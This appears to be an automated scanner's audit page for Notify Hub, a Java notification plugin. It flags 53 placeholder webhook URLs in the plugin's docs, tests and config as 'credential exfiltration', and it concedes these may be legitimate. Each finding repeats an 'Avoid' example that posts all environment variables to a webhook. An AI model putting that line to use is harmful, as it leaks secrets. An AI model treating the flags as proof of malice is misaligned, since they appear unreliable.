Notify Hub— plugin

Notify Hub — independently scanned and version-tracked by SaferSkills.

by GabrielBBaldez·Plugin·github.com/GabrielBBaldez/notify-hub

Is Notify Hub safe to install?

SaferSkills independently audited Notify Hub (Plugin) and scored it 65/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 53 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
65/100
●●●●●●●○○○
Re-scan~30s
Latest scan
ScannedJun 23, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 53 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 53 flagged

Securityscore 0 · 53 findings
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · SKILL.md×9
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (.webhookUrl("https://hooks.slack.com/services/..…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptSKILL.md· markdown
207```java
208SlackConfig.builder()
209.webhookUrl("https://hooks.slack.com/services/...")
210.recipients(Map.of("engineering", "https://hooks.slack.com/..."))
211.build();
Occurrences
9 occurrences · first at L209, also L227, L229 +6 more
Show all 9 locations
Line
File
L209
SKILL.md
L227
SKILL.md
L229
SKILL.md
L237
SKILL.md
L238
SKILL.md
L623
SKILL.md
L624
SKILL.md
L637
SKILL.md
L642
SKILL.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha2569fa7cb166f77d78d…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-demo/src/main/resources/application.yml
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (webhook-url: ${DISCORD_WEBHOOK_URL:https://disco…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-demo/src/main/resources/application.yml· yaml
13bot-token: ${TELEGRAM_BOT_TOKEN:your-bot-token}
14discord:
15webhook-url: ${DISCORD_WEBHOOK_URL:https://discord.com/api/webhooks/your/webhook-url}
16audience:
17enabled: true
Occurrences
1 occurrence · at L15
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha25644cc65ad5f7b11f7…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-slack/src/main/java/io/notifyhub/channel/slack/SlackConfig.java
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (* .webhookUrl("https://hooks.slack.com/servi…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-slack/src/main/java/io/notifyhub/channel/slack/SlackConfig.java
10* <pre>{@code
11* SlackConfig config = SlackConfig.builder()
12* .webhookUrl("https://hooks.slack.com/services/XXX/YYY/ZZZ")
13* .build();
14* }</pre>
Occurrences
1 occurrence · at L12
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256c7c8b830a7400a85…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-teams/src/main/java/io/notifyhub/channel/teams/TeamsConfig.java
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (* .webhookUrl("https://outlook.office.com/we…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-teams/src/main/java/io/notifyhub/channel/teams/TeamsConfig.java
10* <pre>{@code
11* TeamsConfig config = TeamsConfig.builder()
12* .webhookUrl("https://outlook.office.com/webhook/XXX/YYY/ZZZ")
13* .build();
14* }</pre>
Occurrences
1 occurrence · at L12
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256d4c85ce4c15c1c81…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-slack/src/main/java/io/notifyhub/channel/slack/SlackChannel.java
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (* .webhookUrl("https://hooks.slack.com/s…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-slack/src/main/java/io/notifyhub/channel/slack/SlackChannel.java
23* SlackChannel slack = new SlackChannel(
24* SlackConfig.builder()
25* .webhookUrl("https://hooks.slack.com/services/XXX/YYY/ZZZ")
26* .build()
27* );
Occurrences
1 occurrence · at L25
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256c7c8b830a7400a85…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-teams/src/main/java/io/notifyhub/channel/teams/TeamsChannel.java
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (* .webhookUrl("https://outlook.office.co…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-teams/src/main/java/io/notifyhub/channel/teams/TeamsChannel.java
23* TeamsChannel teams = new TeamsChannel(
24* TeamsConfig.builder()
25* .webhookUrl("https://outlook.office.com/webhook/XXX/YYY/ZZZ")
26* .build()
27* );
Occurrences
1 occurrence · at L25
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256d4c85ce4c15c1c81…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-teams/src/test/java/io/notifyhub/channel/teams/TeamsChannelTest.java×2
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (TeamsConfig.builder().webhookUrl("https://outloo…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-teams/src/test/java/io/notifyhub/channel/teams/TeamsChannelTest.java
16void getName() {
17TeamsChannel channel = new TeamsChannel(
18TeamsConfig.builder().webhookUrl("https://outlook.office.com/webhook/test").build());
19assertEquals("teams", channel.getName());
20}
Occurrences
2 occurrences · first at L18, also L26
Show all 2 locations
Line
File
L18
notify-channels/notify-teams/src/test/java/io/notifyhub/channel/teams/TeamsChannelTest.java
L26
notify-channels/notify-teams/src/test/java/io/notifyhub/channel/teams/TeamsChannelTest.java
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256c2e932bcd979ecc4…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-discord/src/main/java/io/notifyhub/channel/discord/DiscordConfig.java
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (* .webhookUrl("https://discord.com/api/webho…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-discord/src/main/java/io/notifyhub/channel/discord/DiscordConfig.java
10* <pre>{@code
11* DiscordConfig config = DiscordConfig.builder()
12* .webhookUrl("https://discord.com/api/webhooks/123/abc")
13* .username("NotifyHub Bot")
14* .build();
Occurrences
1 occurrence · at L12
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256a1d09ed490deae7e…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-discord/src/main/java/io/notifyhub/channel/discord/DiscordChannel.java
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (* .webhookUrl("https://discord.com/api/w…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-discord/src/main/java/io/notifyhub/channel/discord/DiscordChannel.java
23* DiscordChannel discord = new DiscordChannel(
24* DiscordConfig.builder()
25* .webhookUrl("https://discord.com/api/webhooks/123/abc")
26* .username("NotifyHub Bot")
27* .build()
Occurrences
1 occurrence · at L25
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256a1d09ed490deae7e…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-telegram/src/main/java/io/notifyhub/channel/telegram/TelegramChannel.java×2
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (private static final String TELEGRAM_API = "http…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-telegram/src/main/java/io/notifyhub/channel/telegram/TelegramChannel.java
32 
33private static final Logger log = LoggerFactory.getLogger(TelegramChannel.class);
34private static final String TELEGRAM_API = "https://api.telegram.org/bot%s/sendMessage";
35private static final String TELEGRAM_PHOTO_API = "https://api.telegram.org/bot%s/sendPhoto";
36 
Occurrences
2 occurrences · first at L34, also L35
Show all 2 locations
Line
File
L34
notify-channels/notify-telegram/src/main/java/io/notifyhub/channel/telegram/TelegramChannel.java
L35
notify-channels/notify-telegram/src/main/java/io/notifyhub/channel/telegram/TelegramChannel.java
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256cf8df4ffbc401223…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · notify-channels/notify-discord/src/test/java/io/notifyhub/channel/discord/DiscordChannelTest.java×2
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (DiscordConfig.builder().webhookUrl("https://disc…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptnotify-channels/notify-discord/src/test/java/io/notifyhub/channel/discord/DiscordChannelTest.java
16void getName() {
17DiscordChannel channel = new DiscordChannel(
18DiscordConfig.builder().webhookUrl("https://discord.com/api/webhooks/123/abc").build());
19assertEquals("discord", channel.getName());
20}
Occurrences
2 occurrences · first at L18, also L26
Show all 2 locations
Line
File
L18
notify-channels/notify-discord/src/test/java/io/notifyhub/channel/discord/DiscordChannelTest.java
L26
notify-channels/notify-discord/src/test/java/io/notifyhub/channel/discord/DiscordChannelTest.java
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256501c821a9b141daf…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · README.md×31
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (alerts: https://discord.com/api/webhooks/111/aaa). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerptREADME.md· markdown
743avatar-url: https://example.com/logo.png
744recipients:
745alerts: https://discord.com/api/webhooks/111/aaa
746devops: https://discord.com/api/webhooks/222/bbb
747general: https://discord.com/api/webhooks/333/ccc
Occurrences
31 occurrences · first at L745, also L746, L747 +28 more
Show all 31 locations
Line
File
L745
README.md
L746
README.md
L747
README.md
L752
README.md
L753
README.md
L775
README.md
L790
README.md
L793
README.md
L794
README.md
L797
README.md
L799
README.md
L1247
README.md
L1248
README.md
L1262
README.md
L1263
README.md
L1268
README.md
L1343
README.md
L1344
README.md
L1349
README.md
L1446
README.md
L1462
README.md
L1527
README.md
L1533
README.md
L1535
README.md
L1536
README.md
L1553
README.md
L1555
README.md
L1586
README.md
L1590
README.md
L1597
README.md
L1613
README.md
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256815e1f895b038d9b…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.